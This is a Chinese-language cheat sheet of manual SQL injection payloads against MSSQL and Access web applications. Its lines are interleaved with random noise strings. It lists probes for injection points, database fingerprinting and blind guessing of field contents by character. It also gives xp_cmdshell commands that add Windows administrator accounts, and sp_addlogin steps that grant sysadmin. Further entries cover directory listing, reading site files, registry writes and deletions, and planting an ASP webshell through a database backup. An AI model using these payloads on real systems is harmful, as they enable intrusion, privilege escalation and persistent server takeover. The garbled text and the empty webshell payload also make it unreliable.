手工脚本注入 # R3 g6 h: {/ w6 a. q+ I) {% D
1.判断是否有注入;and 1=1 ;and 1=2
5 _4 N- j: [" C) b* @* D- t( U9 P) o0 @, K$ g h3 ]
2.初步判断是否是mssql ;and user>0
1 S) w! T$ D7 t* G4 i3 S7 D5 l
3.注入参数是字符'and [查询条件] and ''=' 1 T: o1 S% J4 s3 E1 x1 ^
U( L# k: d) @2 _1 f0 U
4.搜索时没过滤参数的'and [查询条件] and '%25'='
3 G s; j1 a8 ] S! i4 j! Z+ o4 B8 v5 U( h( F, I2 F6 Y
5.判断数据库系统 ' k2 C. g1 X# S& Y( l& l
;and (select count(*) from sysobjects)>0 mssql 1 ~5 t, Z& m* @' b5 h
;and (select count(*) from msysobjects)>0 access 2 c, I" {- k8 k7 @' _* Q3 b
, U$ t* L# K$ L* u
6.猜数据库 ;and (select Count(*) from [数据库名])>0
" L3 Z; \& u: `3 w# j4 w' Z% z/ M9 O/ S% I
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
/ P% J; d# s( b& Q) U
- {, U0 V3 h/ k* p8 }; l9 c/ p0 T8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6 R2 V7 h* ^) g6 N( w; a) j
; e0 A# [/ G6 T+ z) K [
9.(1)猜字段的ascii值(access)
8 A( B5 Z- M% M/ R% n M;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5 m. Z4 D# i* R" h: J3 j
" W4 r# F- F9 }' C/ d5 B
(2)猜字段的ascii值(mssql) 3 M' z3 L% s4 z0 _0 A* D- S
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
/ U2 ?. F3 k" z4 K
Z/ b0 u' l$ |! Q0 d& g3 L10.测试权限结构(mssql) * \; T+ U* l7 N5 b
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 A) W0 i9 S. Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
7 L/ w( [$ w2 y+ A& `, {;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 w3 S L, l: X$ n# s- K3 g
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* g$ e/ F8 ?: P& ?( T$ s;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 Q: p/ k9 [ f1 X+ f" k# a;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + `1 j9 l1 N W5 {" g: p
;and 1=(select IS_MEMBER('db_owner'));--
6 h( n' g" q5 g5 g: Y2 e8 J- j4 S% L2 F6 @. d. F$ m
11.添加mssql和系统的帐户 5 A8 R0 L, E4 _$ O1 F
;exec master.dbo.sp_addlogin username;--
7 g0 p9 a. L1 d& \/ m* T* r# R0 m& \- Y
;exec master.dbo.sp_password null,username,password;--
W2 G4 V/ K% r0 I$ N, k" N5 \, g( q" ^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / w) N6 Q* e9 l: h
6 D3 N8 ~- A: ?3 P6 A7 Z, D;exec master.dbo.xp_cmdshell 'net user username password
* p8 ~4 S7 E6 A9 J7 M3 L3 t2 {! {! ^, o/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 I. @( w/ _$ Z, j" X; t
% V) @ y+ \9 I6 B( z2 Z. f$ |; ]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- W7 s; Q/ a q5 B% |, e4 I f
) M+ ^( W* F4 M. s
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - s1 J7 t. k% F) H3 N6 W; @. ^ `- m
. P0 R; s. S! p, S& ~" T/ y
12.(1)遍历目录
. H- O+ G" D0 I1 D0 G$ Y' I
) z) m: u0 ^1 _+ k7 a;create table dirs(paths varchar(100), id int)
- G u3 h; M' y) E;insert dirs exec master.dbo.xp_dirtree 'c:\'
* i& E0 o; @9 a5 z4 x;and (select top 1 paths from dirs)>0
9 V2 `) }" {5 o7 {+ M! B# K;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
7 S) c0 w/ ?0 @/ Q# Q5 l( K. D+ ?6 `1 A) j3 a; j s4 j
(2)遍历目录 - T7 E/ F) K- A4 ]9 j7 i
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- , G7 e% X% l5 Y" I9 z. _" b
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; K& x) [5 R/ n5 s- u
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' H y* a/ N) _% u8 F" I;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
' K& c. C: @9 }1 H) _( \( u4 {;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " z5 u. q! O# `0 {2 X
V8 [- |: E9 Q6 D2 u13.mssql中的存储过程
: t* _3 I3 g: c2 D" O( ?- T( W4 m
3 I8 [3 y: Q3 i$ H# d) Txp_regenumvalues 注册表根键, 子键 - ?5 L# A; n3 x. R5 V; J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 ]+ ]/ o# b0 T& u! f0 [2 B* I6 N9 l, S6 `0 D# Q0 y" H: m1 V1 i ]8 p
xp_regread 根键,子键,键值名 , D- h6 ~6 V. g* \, \ ~& E3 ^
;exec xp_regread
0 q. g% ^* b! l" }'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % N9 Y. Z" y+ c, ^- C# [+ n) U
. X ]1 P, j7 X* a* W5 R6 Zxp_regwrite 根键,子键, 值名, 值类型, 值
( G6 a& [7 ]4 q8 B值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( P. d: z+ J: K. n- P4 z1 n* z% P; c; k
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" A$ N* `$ @3 }$ r8 w5 ?: H1 p7 W; S- s5 k/ N, H! G s
xp_regdeletevalue 根键,子键,值名
; f7 I$ Z& z0 h J+ Z8 l4 G
/ I4 o/ C5 \( K6 u/ ]7 fexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
$ B+ _! K* r3 u. o5 o! |- J( j# T( m* |+ r, l0 E5 }
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 Y1 N" w' v* Q2 D. d2 ^
, [0 f, D! n6 X9 M
14.mssql的backup创建webshell + J0 z0 C L) x
use model 0 J2 } O/ s' X0 h+ e- e6 ]
create table cmd(str image); / n7 U) v8 t' u' w* X
insert into cmd(str) values ('');
) h9 K+ O) w- a8 l$ T: U2 I; nbackup database model to disk='c:\l.asp';
, z; R/ ~6 w3 ?9 g. t
( Z9 i/ D4 C( z1 h }0 P15.mssql内置函数
4 d3 x$ a4 U# I+ i4 |+ ~" Q' K* X;and (select @@version)>0 获得Windows的版本号 + o# S6 H- a$ {3 u3 |/ g. A* {: |+ L) `
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
! z) K+ T9 B0 o, T' X5 F;and (select user_name())>0 爆当前系统的连接用户
! \/ P) r9 Z- J+ z( D7 s% o;and (select db_name())>0 得到当前连接的数据库
7 P6 R* c/ x* q* p9 V5 X, J6 H/ }3 t5 G) a! v3 j2 |/ \* G
16.简洁的webshell
: G/ V: j$ A% s2 y5 i/ C# a& c
4 J" R4 k6 ]5 f6 Wuse model
8 ]! w7 L) E$ f4 Z
* [" q9 I% }! T: `& S6 v7 Bcreate table cmd(str image); , n% h2 s0 l% |# n' M) ]3 K
) e& ^* \9 }1 n0 [& g- G" D4 H
insert into cmd(str) values (''); ) G$ I5 A! A7 Q8 Y* ]- |
9 Y! K4 ]8 I: } [- O' C! h3 M
backup database model to disk='g:\wwwtest\l.asp'; 6 T- t: j0 c- a! T. b4 E
8 s6 Y" W+ ~2 |1 ` |